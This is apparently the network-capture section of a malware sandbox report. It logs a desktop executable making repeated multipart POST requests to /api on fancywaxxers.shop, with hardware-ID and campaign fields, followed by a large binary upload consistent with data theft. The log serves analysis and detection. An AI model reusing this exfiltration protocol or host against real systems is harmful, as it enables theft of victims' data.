2024-12-31 14:41:55 UTC	1369	IN	Data Raw: 4f 31 2b 44 50 59 69 49 72 46 32 67 46 42 68 58 44 36 4e 33 44 35 64 4f 54 4d 38 72 39 6b 69 30 6d 51 39 37 6c 71 72 56 62 6d 37 2b 6a 6b 6b 69 46 74 37 37 7a 75 64 46 33 73 38 66 70 58 53 41 57 41 41 49 53 6d 74 6e 51 66 48 63 58 6d 51 4b 73 35 41 39 4f 61 30 48 78 43 6d 64 33 37 34 64 4c 49 58 4c 78 38 35 7a 5a 45 37 48 6d 39 77 43 37 44 53 4a 4d 70 67 4f 50 46 75 6e 6c 57 37 75 62 59 65 48 61 42 35 4d 62 46 32 6e 6c 42 68 58 48 69 4a 77 54 4a 52 4d 48 77 70 70 39 68 68 69 69 64 30 6b 44 7a 4f 57 62 36 75 2b 54 45 64 2b 6e 78 2f 38 58 61 4e 58 69 42 63 62 38 4f 4a 62 42 42 33 49 6d 37 6c 6e 32 62 48 64 57 6a 57 5a 35 68 62 38 34 44 4b 45 77 69 78 61 6e 4b 39 42 35 38 55 4c 77 6c 36 6b 39 59 42 59 42 6f 69 4b 61 33 63 59 2f 56 78 65 64 42 71 69 52 6a 36 Data Ascii: O1+DPYiIrF2gFBhXD6N3D5dOTM8r9ki0mQ97lqrVbm7+jkkiFt77zudF3s8fpXSAWAAISmtnQfHcXmQKs5A9Oa0HxCmd374dLIXLx85zZE7Hm9wC7DSJMpgOPFunlW7ubYeHaB5MbF2nlBhXHiJwTJRMHwpp9hhiid0kDzOWb6u+TEd+nx/8XaNXiBcb8OJbBB3Im7ln2bHdWjWZ5hb84DKEwixanK9B58ULwl6k9YBYBoiKa3cY/VxedBqiRj6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	104.21.48.1	443	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:41:55 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AQ5HABRYWU0CR9G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12834 Host: fancywaxxers.shop
2024-12-31 14:41:55 UTC	12834	OUT	Data Raw: 2d 2d 41 51 35 48 41 42 52 59 57 55 30 43 52 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 32 41 45 31 35 46 33 35 32 45 46 45 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 41 51 35 48 41 42 52 59 57 55 30 43 52 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 51 35 48 41 42 52 59 57 55 30 43 52 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --AQ5HABRYWU0CR9GContent-Disposition: form-data; name="hwid"1D2AE15F352EFE5C20A4C476FD51BCB1--AQ5HABRYWU0CR9GContent-Disposition: form-data; name="pid"2--AQ5HABRYWU0CR9GContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-31 14:41:56 UTC	1132	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 14:41:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ddkldpkg3ecfbrsfci0rhov6j4; expires=Sat, 26 Apr 2025 08:28:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XVfOxUErCG33a2P21YhkvDnVZ%2FT1IYlFQ7rYzA5xIatz85VaCWyjsfFL5SLjp4b%2BqhnRIdeNARtGr83hlU6770TRuxEwqnbWJqX8h4CPR3qn7kXg0wXn4GrZ%2Bisix0pUnElHPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab0884ebffc323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1492&min_rtt=1489&rtt_var=566&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13772&delivery_rate=1921052&cwnd=214&unsent_bytes=0&cid=01edc2a4a9c9f2f9&ts=662&x=0"
2024-12-31 14:41:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 14:41:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49710	104.21.48.1	443	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:41:57 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TW3Z4BJZZ0B0Y48FPLK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15087 Host: fancywaxxers.shop
2024-12-31 14:41:57 UTC	15087	OUT	Data Raw: 2d 2d 54 57 33 5a 34 42 4a 5a 5a 30 42 30 59 34 38 46 50 4c 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 32 41 45 31 35 46 33 35 32 45 46 45 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 54 57 33 5a 34 42 4a 5a 5a 30 42 30 59 34 38 46 50 4c 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 57 33 5a 34 42 4a 5a 5a 30 42 30 59 34 38 46 50 4c 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --TW3Z4BJZZ0B0Y48FPLKContent-Disposition: form-data; name="hwid"1D2AE15F352EFE5C20A4C476FD51BCB1--TW3Z4BJZZ0B0Y48FPLKContent-Disposition: form-data; name="pid"2--TW3Z4BJZZ0B0Y48FPLKContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-31 14:41:58 UTC	1130	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 14:41:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e6fspm6nueb9d2bf8b5h3h9dnp; expires=Sat, 26 Apr 2025 08:28:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pvUBSNAHa4c7AkVoTAhvRqBq%2BqQIZgxWblrW6mOSt%2FmcLTkBli2yFBifvqo79DwXkq49eEk7RuR1wXPca5BH5yLFMogsVXXHBhwvnYkf0h5F0YpSJywHhtZrYvZxYlb6CRY8Aw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab088cbd5bc461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1646&rtt_var=619&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2843&recv_bytes=16029&delivery_rate=1765417&cwnd=228&unsent_bytes=0&cid=05117bb20bfce9a5&ts=957&x=0"
2024-12-31 14:41:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 14:41:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49711	104.21.48.1	443	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:41:58 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U2VNHA6OVS19U8QTGPC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20254 Host: fancywaxxers.shop
2024-12-31 14:41:58 UTC	15331	OUT	Data Raw: 2d 2d 55 32 56 4e 48 41 36 4f 56 53 31 39 55 38 51 54 47 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 32 41 45 31 35 46 33 35 32 45 46 45 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 55 32 56 4e 48 41 36 4f 56 53 31 39 55 38 51 54 47 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 32 56 4e 48 41 36 4f 56 53 31 39 55 38 51 54 47 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --U2VNHA6OVS19U8QTGPCContent-Disposition: form-data; name="hwid"1D2AE15F352EFE5C20A4C476FD51BCB1--U2VNHA6OVS19U8QTGPCContent-Disposition: form-data; name="pid"3--U2VNHA6OVS19U8QTGPCContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-31 14:41:58 UTC	4923	OUT	Data Raw: fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ~s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-12-31 14:41:59 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 14:41:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hdsvg4c279t67e1gp9th3e16u3; expires=Sat, 26 Apr 2025 08:28:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T2tUDZYguZyqaP0oBDfWhfG3n14g0tz0jTy%2B9ozs3KQQtWnphnlNPjQZl3Z9IjnTyyr6%2F2YG00YXszaIAmtb9LdorfaFAU4FL3dXw3OSvskp3ivinrIvTJW3J19bhiCPjSCGlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab0897adfc43be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1649&rtt_var=621&sent=16&recv=26&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21218&delivery_rate=1759036&cwnd=226&unsent_bytes=0&cid=f248eec3395abde8&ts=976&x=0"
2024-12-31 14:41:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 14:41:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49712	104.21.48.1	443	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:42:00 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YLCWBBHIBQ0H79KAX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: fancywaxxers.shop
2024-12-31 14:42:00 UTC	1243	OUT	Data Raw: 2d 2d 59 4c 43 57 42 42 48 49 42 51 30 48 37 39 4b 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 32 41 45 31 35 46 33 35 32 45 46 45 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 59 4c 43 57 42 42 48 49 42 51 30 48 37 39 4b 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 4c 43 57 42 42 48 49 42 51 30 48 37 39 4b 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --YLCWBBHIBQ0H79KAXContent-Disposition: form-data; name="hwid"1D2AE15F352EFE5C20A4C476FD51BCB1--YLCWBBHIBQ0H79KAXContent-Disposition: form-data; name="pid"1--YLCWBBHIBQ0H79KAXContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-31 14:42:01 UTC	1134	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 14:42:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g85v6tgv97rtm1690nas9134s9; expires=Sat, 26 Apr 2025 08:28:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IdGxCV6%2BlkI4%2Bua2DYQTWycLJFESN0CWSYKbY1fgyNbfULAzvD6UKUF02KIx5ClSybXY1%2FVWVh9SjUKV86h2wvG5XvuWudoYAnq%2FJ%2FLw8aDETo0P0jNmC2ezzUjI6tOQgjQ2QQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab08a38dff43be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1573&rtt_var=601&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2160&delivery_rate=1804697&cwnd=226&unsent_bytes=0&cid=f3b67c172287ed52&ts=429&x=0"
2024-12-31 14:42:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 14:42:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49713	104.21.48.1	443	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:42:02 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0X8LJ5VSK9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551665 Host: fancywaxxers.shop
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: 2d 2d 30 58 38 4c 4a 35 56 53 4b 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 32 41 45 31 35 46 33 35 32 45 46 45 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 30 58 38 4c 4a 35 56 53 4b 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 58 38 4c 4a 35 56 53 4b 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 58 38 4c 4a 35 56 53 4b 39 0d 0a 43 6f Data Ascii: --0X8LJ5VSK9Content-Disposition: form-data; name="hwid"1D2AE15F352EFE5C20A4C476FD51BCB1--0X8LJ5VSK9Content-Disposition: form-data; name="pid"1--0X8LJ5VSK9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--0X8LJ5VSK9Co
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: bc 1d d8 50 fc 68 44 ca b3 d5 29 65 8e 84 5a 32 a5 ee 94 b4 da 30 2c d5 5b 01 2c 5c 38 33 15 95 98 f2 8b 98 45 32 92 03 04 3a cb 32 de 3b 08 b0 89 1b b2 23 53 4f 72 ff 08 55 15 20 11 a9 5d 88 f2 dc 96 d8 f8 11 0c eb 0a 97 66 47 e9 63 61 bf 05 88 b9 93 b1 64 f8 d0 34 ac 42 d6 0a 42 5a 4d e3 97 b4 2f 9c 71 43 d7 ba f0 cb b1 81 d6 6d e9 31 a7 a2 22 06 70 67 0e 50 51 a9 15 be ef bf e4 ef 93 29 db 82 d5 a7 f3 e9 e6 8d 54 04 e9 40 9c af 3e 84 3e 53 a6 56 70 ef 7f 3a cb 8a eb e3 e1 99 07 ac d9 69 5f 1d 9b 0c 3a c0 33 74 2a bf 91 31 c5 1f 7a 7a e2 5a 5f a4 18 44 b2 83 b7 d8 0d af 96 04 d4 cc 9d 1b 32 b1 04 6b d0 66 f0 20 d0 4e a4 d9 1f 41 cc b2 71 ba 68 b5 2a 50 fe 2e 3c d6 5f 99 41 aa 42 9b f1 74 e8 08 00 a8 c7 62 b1 51 88 98 79 20 a3 b3 e3 49 ae 58 ec c1 bd dd Data Ascii: PhD)eZ20,[,\83E2:2;#SOrU ]fGcad4BBZM/qCm1"pgPQ)T@>>SVp:i_:3t1zzZ_D2kf NAqhP.<_ABtbQy IX
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: 71 fe d7 7d 77 08 93 57 4b 11 f2 35 28 19 2d b5 72 a9 c0 55 b1 e1 fa a2 09 cd b0 a9 e1 63 86 e6 0d 94 71 15 be 57 de 49 de b9 7e 76 35 23 3a 47 25 71 e7 36 32 b1 3f 6a 2d 11 4c 3d 76 af 7f c4 2b e4 66 6d 99 be 25 f5 cc 8e d6 0e fe a8 1f 1b b5 ac d9 34 e9 4d 04 5c 9f ff 69 5b d9 ad e2 f8 bf 6d 4d 3a 3d 1c ac b5 d3 32 1c 34 9e b4 78 47 da d3 bb 81 f3 a5 a1 3a 74 29 e3 97 98 8a 75 8f 3a a8 e5 f4 38 56 9f 76 71 f8 d5 f1 d8 a7 58 6f 2c 56 18 c5 64 71 3a 3b 7d 46 b5 7b 85 c7 0a f5 ff a9 9e cc 7b 5a cc 51 3b 32 e2 85 dd 24 fa 7a a0 57 ff 96 fb c0 98 f7 9f ba cd e8 f0 9d d2 a2 8f f2 e4 c7 1f f4 1e 2f 1f 49 39 58 13 f8 2b 5e f6 d0 a3 ad d6 a7 b7 53 19 23 7d 6e 93 35 46 c3 80 26 39 95 2d 4d 1d 92 6f 05 88 fc 0e 9a ef 4c ee 6c 88 47 75 4c ac 56 b5 a0 f8 37 4d 9c f9 Data Ascii: q}wWK5(-rUcqWI~v5#:G%q62?j-L=v+fm%4M\i[mM:=24xG:t)u:8VvqXo,Vdq:;}F{{ZQ;2$zW/I9X+^S#}n5F&9-MoLlGuLV7M
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: e3 af 82 bd 06 f6 48 cf ab 64 31 35 b1 d5 a0 4b 1e 21 67 9d ab ed 8f 72 08 78 54 90 2f da 32 1b d8 ee b9 af 8a 96 eb c4 f4 e8 41 9f b2 27 98 e4 6f 2b a4 a2 a9 6d f4 4e 08 4c 86 1c fb f3 a1 cd a3 e8 10 61 7d 31 13 62 a3 d1 5d d3 a4 fe 2a 30 a7 fb 8a 7b 6d 5a be 9c bb 39 d5 e0 93 74 b5 00 56 b0 eb 62 5f 9b 2f b6 6d dc 9e 42 4e 55 4c 35 a2 22 9f 67 0a 45 b5 d5 fa 6b 31 b6 c0 16 5c e6 eb 85 12 aa 31 75 4c e7 e9 0f 9b a0 c8 aa 2c 0e bb 2d 29 5f 00 68 47 91 54 ef 91 3b 6f 1f 83 ea 62 54 d8 04 2f 98 77 29 ef a9 e4 07 bd a5 97 17 a7 df db ce bf ea d5 be 74 7f fc fd c5 04 91 fd ab c4 e2 fb 03 40 13 0f ff 6f 4e 09 06 14 95 cd 99 e8 11 0e 74 27 06 17 28 24 b8 de cd 32 8e fd f1 b2 e9 97 e0 d0 65 e9 03 40 75 a7 43 cd 60 b3 ce 8e 88 8e 6c 43 f1 32 8a 2e 4c 0c 22 ec 0e Data Ascii: Hd15K!grxT/2A'o+mNLa}1b]*0{mZ9tVb_/mBNUL5"gEk1\1uL,-)_hGT;obT/w)t@oNt'($2e@uC`lC2.L"
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: bc bb 34 e3 3f 51 10 7f e7 64 da fc b9 7a 0a 79 38 cf 8f 99 98 55 19 16 66 c0 8b 45 f5 14 0c 3f ee 3e 33 28 d4 ef 9b 73 0a db a7 02 4a df 35 15 99 9f b9 48 f2 b2 a0 c0 b1 32 ae 4b 59 3a ff 1b ae b0 07 03 f2 c9 4c 11 7f 8f 50 3d 01 9a 03 d3 cd 36 88 23 62 b8 85 6b c1 d5 0c 9f 1e 14 02 0c 31 ac 5f 9e f4 69 d8 23 36 4e 3c 6e 31 1c 26 2f 20 7e 29 41 45 6f b9 80 42 fe 7a fd 03 8f b4 68 5d cd 29 4d 6b 3c 3f 82 1b 2f ef c2 31 05 d5 4d b2 66 f3 42 bb 85 cc 2a e4 98 ba ad 0d ed 8b 6a e6 da b3 21 83 03 b9 99 2b c4 e4 4b 24 6c f6 d1 b3 e9 64 51 e1 72 c8 60 42 b4 0b eb 75 7c 6b af 82 58 e7 47 13 43 84 cf 71 75 79 e7 c4 ee d6 bd c6 b8 a6 70 59 b4 87 d5 06 c8 58 0d 77 32 1f 70 ad 08 af 89 9c e1 18 ac c3 2d c0 16 52 ed cb 38 74 6e 09 fb 34 47 7e 31 c9 ce 25 0b f5 5b 01 Data Ascii: 4?Qdzy8UfE?>3(sJ5H2KY:LP=6#bk1_i#6N<n1&/ ~)AEoBzh])Mk<?/1MfB*j!+K$ldQr`Bu\|kXGCquypYXw2p-R8tn4G~1%[
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: c9 92 41 51 9a 02 c3 94 b8 e4 69 dc 61 fa d5 9d fa b6 5e 21 97 bf 78 95 65 8e ba a0 8b 30 58 57 28 ab 9c 79 5d b9 10 4a 05 c9 1d 0e da db 2b 17 88 b9 b4 56 e3 c0 59 44 57 48 2b 56 29 fc 11 23 30 b8 0d 79 ce 12 61 a8 81 5f 3e 33 f5 fe a4 bd ef 5c 14 20 e5 cd 18 41 78 8a 5c c3 72 9e 73 72 2b d1 ce cd 85 40 7b e5 62 8f b2 99 62 df 0b cd 14 0d 06 e3 c5 bc e2 2e 17 45 c3 83 e6 f9 ba 6c 28 5c c0 b7 40 ce 20 bd 72 db 47 5f ce 49 76 98 92 8c a6 08 cb 3b 39 b4 58 c9 44 f9 99 e1 33 9b 50 5d 51 92 0f a0 99 b5 81 e0 d9 39 cb 3e b1 63 ac 76 57 af 15 a6 f0 f8 db 38 f3 b0 cc 88 db b3 95 08 43 04 61 70 e9 3d 30 77 59 bb c7 9f cc 67 a5 89 08 84 f7 bf d4 2c 2f 44 7d 79 1d 47 10 52 f5 65 41 a8 5b 03 e4 d7 68 4d 21 68 09 0b f8 14 11 3c b7 37 c4 c8 63 3b 2d 28 8a 0f 5b d9 6f Data Ascii: AQia^!xe0XW(y]J+VYDWH+V)#0ya_>3\ Ax\rsr+@{bb.El(\@ rG_Iv;9XD3P]Q9>cvW8Cap=0wYg,/D}yGReA[hM!h<7c;-([o
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: c3 93 de b1 c0 83 b8 25 41 be 83 e8 c2 c3 fd 3c 87 11 e0 2c e7 8a 18 8c b5 a1 e7 63 ac f6 f7 33 63 11 3e 26 17 e4 5c e9 53 9d 32 f8 28 c3 9d 52 fc de 0f ee 18 32 7e 7b b7 f4 f9 58 f5 44 fc d9 bd f4 2d 8b 0d 39 bc 9c d9 c3 3a 57 a8 fe bd e8 98 49 3b 9a 99 4c de 3c bf de b2 f6 a1 bc 8a 23 8d 8a ee 8f de de db 9c f9 4f 06 95 db a3 ce d4 77 aa 0b 72 28 0b 5f ae c7 bd 70 da 6b f9 c6 4b 77 26 f5 65 9f e0 61 2f f8 e7 7e 22 af 11 d7 f3 b6 de de 13 1d 2e 2d 92 e1 68 ac 63 2f 01 fd 34 27 94 f6 c2 f3 72 fc bb 4a d4 05 40 54 29 0a e8 ca 9e 69 54 98 1e 93 40 82 f0 f3 0d 2b c5 06 74 07 18 14 6e 1b b0 34 9e 1f d6 7a 56 bd 89 00 6b fc 78 b6 7f 89 f7 c4 79 f1 a6 61 da d4 6f bb b7 42 0f 1f f9 5f 3d 69 ae 6b 80 fd a5 f8 76 9b 7a fd 21 9a 48 5f dc 35 04 e7 05 99 67 37 84 77 Data Ascii: %A<,c3c>&\S2(R2~{XD-9:WI;L<#Owr(_pkKw&ea/~".-hc/4'rJ@T)iT@+tn4zVkxyaoB_=ikvz!H_5g7w
